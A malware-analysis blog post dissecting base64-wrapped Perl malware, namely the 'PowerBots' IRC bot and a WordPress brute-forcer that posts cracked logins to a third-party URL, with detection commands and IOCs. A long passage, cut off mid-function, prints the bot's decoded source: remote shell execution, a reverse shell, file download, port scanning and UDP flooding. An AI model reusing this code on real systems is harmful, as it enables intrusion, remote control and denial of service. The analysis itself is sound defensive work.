Perl is rare on compromised websites these days. When it turns up, it’s usually old, usually a tool someone has been passing around for a long time, and usually runs from a shell instead of through the web server. This post covers four Perl scripts that share one packaging trick:

#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsDQpteSBAbWFzdDNycyA9...'));

Three of them are tools for attacking other sites and servers: an IRC bot that takes remote commands, and a two-part WordPress brute-forcer. Two of the four were saved with a .php extension even though they’re Perl, so they were meant to be run from a shell (perl file.php), not served by a web server.

Base64 plus eval keeps every interesting word (server names, command names, usernames) out of the file in readable form. Anything that scans the file for irc, PRIVMSG or wp-login.php finds nothing.

I decoded all of them statically and never ran any of them.

The Wrapper#

The wrapper is three lines, and it’s identical in form across the four files. Decoding the two largest, which are 36,819 and 36,820 bytes, gives byte-for-byte identical 27,568 byte scripts. The only difference is a trailing space in the wrapper. That’s all it takes to make two files hash differently, so a detection based on file hashes treats them as two unrelated samples.

PowerBots: The IRC Bot#

The first script starts with its settings:

my @mast3rs  = ("er");
my @hostauth = ("dream.com");
my @admchan  = ("#x");
my @server   = ("grip.topshop.la");
my $xeqt     = "!os2";
my @nickname = ("godlike");
my @rports   = ("80");
my @fakeps   = ("/usr/sbin/httpd");
my $version  = 'PowerBots (C) GohacK';

It’s a classic Perl IRC bot: it connects to an IRC server, joins a channel, and does what its controller types. The details show how it tries not to be noticed:

  • A disguised process. It sets $0 = "/usr/sbin/httpd\0", so in ps it looks like a web server. It then forks twice, ignores INT, HUP, TERM, CHLD and PS, and detaches.
  • IRC over port 80. @rports is ("80"). The bot speaks IRC to an IRC server listening on the web port, which often passes a firewall that blocks the usual 6667.
  • A disguised IRC client. When someone sends a CTCP VERSION request, it replies with one of 35 real client strings picked at random (mIRC, BitchX, irssi, XChat, HydraIRC, ScrollZ and others), so it looks like a person.
  • Nickname and real name. It signs on as godlike (adding a random number if that nick is taken), with the real-name field set to the output of uname -r.

Who is in charge#

Authentication is two plain comparisons. A message is obeyed only if the sender’s nick is exactly er and their host is exactly dream.com, both case-insensitive, with no password. On a private IRC server the operator controls that. Anywhere else, anyone who connects with the same nick and a matching hostmask could give the bot orders.

The bot joins the channel #x with the key muietie once it’s connected. Orders arrive in three ways:

How it’s sentWhat it does
a private message to the bot (or <nick> <text> in the channel)runs the text as a shell command and sends the output back, 5 lines at a time with a 6 second pause
!os2 !<command> or <nick> !<command>IRC actions (24 of them)
<nick> @<command>“bot functions” (7 of them)

The commands#

The IRC actions are mostly channel and flood controls: join, part, rejoin, op, deop, voice, devoice, msg, flood, ctcpflood, ctcp, invite, nick, jump (connect to another IRC server), raw (send any IRC line), rj and rp (join or part after a random delay), quit and others. A few stand out:

  • eval <perl> runs arbitrary Perl inside the bot.
  • send (and the matching DCC code) transfers files over IRC’s DCC protocol.
  • bang on|off and stat on|off switch attack commands and status messages on and off.

The @ functions are the ones aimed at other machines:

CommandWhat it does
ps <host>a quick TCP scan of 20 ports (21, 22, 23, 25, 53, 80, 110, 113, 143, 3306, 4000, 5900, 6667-6669, 7000, 10000, 12345, 31337, 65501)
nmap <host> <from> <to>the same, over a port range
down <url> <file>download a file with the bot’s own HTTP client (it honours http_proxy)
udp <host> <port> <seconds>a UDP flood
back <host> <port>a reverse shell: connects out, attaches /bin/sh -i (or cmd.exe) to the socket
rmruns cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*
versionprints PowerBots (C) GohacK

The rm command deletes files with names like god*, wunder*, udev* and lib* from /var/tmp. Since the bot’s own nickname is godlike, some of those are probably its own leftovers. I can’t say what the others are.

Two things that don’t work#

The UDP flood sends empty packets. The payload is built with $pacote = $rand x $rand x $rand;, but $rand is never declared. I evaluated that exact expression in isolation: the length is 0. The flood still sends datagrams, but with nothing in them.

attacker() is dead code. There’s a second flood routine that sends raw packets on every IP protocol number, but I searched for calls to it and there are none. It’s left over from an earlier version of the bot.

The Cousins: A WordPress Brute-Forcer#

The other two scripts are a pair, a launcher and a worker, and they behave like the IRC bot in small ways. Both set a fake process name, fork, and ignore the same five signals, and the variable and error messages are in Portuguese (servidor, conectar, porta, Problema ao criar fork). That suggests Portuguese-speaking authors, but it isn’t proof that the same person wrote all of them.

The launcher#

The launcher’s banner reads “WordPress BruteForce 2012.” It reads a list of target hosts and, for each, starts a worker with perl w.pl -h <host> -o <output> -l <line number>. It decides how many to run at once by counting processes: ps aux | grep apache2 | wc -l, minus 2, up to a limit of 50. The workers also call themselves apache2 and [httpd], so the process count both limits the load and hides in a normal-looking process list.

The worker#

The worker is the larger script (14 KB when decoded). For each host:

  1. Is it WordPress? It requests /wp-login.php and looks for action=lostpassword. It tries four paths: the root, blog/, wordpress/, wp/.
  2. Find users. It requests ?author=1 through ?author=10 and reads the username from the redirect (/author/<name>/) or the page’s body class. The names it adds itself are the site’s domain name, the first 8 letters of it, and admin.
  3. Guess passwords. It tries 87 fixed passwords (including patterns like %site%, %user%123) and about 25 variations of each username: leet-speak substitutions (a→4, e→3, i→1, o→0), a capitalized copy with 1, 12, 123 or a year from 2010 to 2018 added, and the reversed name. The latest year, 2018, dates the worker’s wordlist to at least that year, even though the launcher’s banner says 2012.
  4. Log in. It posts to wp-login.php and counts it as a success only if it sees a wordpress_logged_in cookie, a 302 response, and a Location: that points into /wp-admin.
  5. Check for admin. It requests wp-admin/theme-install.php and looks for a link containing theme-install.php?tab=, which only administrators can open.
  6. Report. This is the unusual part. The result isn’t written to the output file it was given. The worker sends it out:
sub AddDataToFile () {
    $data = $_[0];
    getprint("http://whoismyip.ru/dist/ru2.php?save=$data");
}

Every cracked login, including accounts with no admin rights, is sent as http://<host><path>wp-login.php:<user>:<password> in a plain HTTP query string to a third-party domain. That host doesn’t resolve today. The worker also has a -t (TimThumb) option that is accepted but never used.

Detection#

I tested these against all of the samples and against WordPress 6.6 itself.

  • The wrapper. grep -rlE "eval[[:space:]]*\([[:space:]]*decode_base64" /home /var/www /tmp 2>/dev/null matched all four original files, and nothing in WordPress core.
  • A process pretending to be a web server. On Linux, a “web server” whose executable is Perl is a strong sign:
ls -l /proc/[0-9]*/exe 2>/dev/null | grep -i perl
ps -eo pid,ppid,user,args | grep -E '\[httpd\]|/usr/sbin/(httpd|apache2)' | grep -v grep

Real httpd processes run as root or the web user, listen on a port, and have the main server as their parent. A bot has a parent PID of 1, no listening socket, and an outbound connection to an IRC server.

  • Outbound IRC. Connections from a web server to port 6667 (or 80, with PRIVMSG, JOIN, and NICK in the stream) are not normal. In the bot’s config the port is 80, so look at the content, not the port number.
  • The strings PowerBots, GohacK, grip.topshop.la and whoismyip.ru/dist/ru2.php once the scripts are decoded.
  • Login attempts. The worker’s guesses are easy to spot in access logs: a burst of ?author=1 to ?author=10 followed by POST /wp-login.php from one address. Rate limiting or blocking ?author= enumeration would stop the first half of it.
  • Cleanup. Kill the process (not by name, since the name is fake), then find how it started: a cron entry, a startup script, a shell history, or a web shell. Treat any account the worker could have cracked as compromised.

The C2 Today#

grip.topshop.la and topshop.la have no address records, and neither does whoismyip.ru. I used public DNS only and did not contact anything. The IRC server named in the sample is gone, so this exact bot has nowhere to connect, but the configuration is only an example. Another copy could use a different server, and the controller’s identity check would work the same way.

IOCs#

Wrapper:  #!/usr/bin/perl + use MIME::Base64 + eval(decode_base64('...'))
Bot:      "PowerBots (C) GohacK"   prefix !os2   nick godlike<digits>   fake process /usr/sbin/httpd
          IRC server grip.topshop.la:80   channel #x  key muietie
          controller: nick "er" at host "dream.com"   (exact match, no password)
          cleanup:  cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*      path used after the reverse shell: /tmp/.mrx
Worker:   process name /usr/sbin/apache2 ; launcher process name [httpd], file w.pl, status.log
          GET http://whoismyip.ru/dist/ru2.php?save=http://<host>/<path>wp-login.php:<user>:<pass>
          user enumeration ?author=1..10 ; paths /, blog/, wordpress/, wp/
sha256 (decoded bot, identical in both wrappers)  4b61657b1a447fd26a1c4140c55ca877848f9b3d8a89cd261c409d3ffdcfd3e6

Samples#

decoded IRC bot (PowerBots)
#!/usr/bin/perl
my @mast3rs = ("er");

my @hostauth = ("dream.com");
my @admchan=("#x");

my @server = ("grip.topshop.la");
$servidor= $server[rand scalar @server] unless $servidor;


my $xeqt = "!os2";
my $homedir = "$pwd";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("/usr/sbin/httpd");

my @nickname = ("godlike");

my @xident = ("mad");
my @xname = (`uname -r`);

#################
# Random Ports
#################
my @rports = ("80");

my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
   "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
   "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
   "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
   "\001Snak for Macintosh 4.9.8 English\001",
   "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
   "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
   "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
   "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
   "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
   "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
   "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
   "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
   "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
   "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001",
   "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
   "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
   "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");

# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

# xeQt

#my $nick = "Power";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';
my $echo = "`echo` $1";

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';





use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

sub getnick {
  return "$nickname[rand scalar @nickname]".int(rand(20000));
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}
sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}
sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path\n";

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;

  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;
  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") {
      $b1 = $buf;
      $buf =~ s/.+?\015?\012\015?\012//s;
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);
  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result\n$b1\n";
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }
  return $buf;
}
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;
     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);
     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "".$Mrx."");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
        }
    if ($args =~ /^!(.*)/){
       ircase("$pn","$chan","$1");
    }
        if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1");
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
          }
        }
      }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("".$meunick."-");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@admchan){
         sendraw("JOIN $canal muietie");
       }
   }
}
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork)
       {
         exit;
       }
   else
   {
      # Quick scan
           if ($funcarg =~ /^ps (.*)/) {
             my $hostip="$1";
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
             }
           }
      # NMAP, lol
           elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
      {
              my $hostname="$1";
              my $portstart = "$2";
               my $portend = "$3";
               my (@abertas, %porta_banner);
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
               foreach my $porta ($portstart..$portend)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($xstats)
       {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                 }
               }
             }
             if (@abertas) {
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
             }
            }
      # Remove
      elsif ($funcarg =~ /^rm/)
      {
         system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
      }
      # Version
      elsif ($funcarg =~ /^version/)
      {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
      }
      # Download
           elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
      {
              getstore("$1", "$2");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
           }
       # Udp
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($xstats)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
             }
            }

       # Backconnect
            elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
         system("cd /tmp/.mrx");
              close(STDIN);
              close(STDOUT);
              close(STDERR);
            }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^echo/) {
      system("echo $meunick > `pwd`/botnick");
      msg("done");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^quit/) {
     quit();
   }
   elsif ($case =~ /^rand/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =~ /^stat (.*)/) {
     if ($1 eq "on") {
      $xstats = 1;
      msg("$printl", "Satus enabled");
     } elsif ($1 eq "off") {
      $xstats = 0;
      msg("$printl", "Status disable");
     }
   }
   elsif ($case =~ /^bang (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
     }
   }
}
sub shell {
  return unless $shellaccess;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub invite {
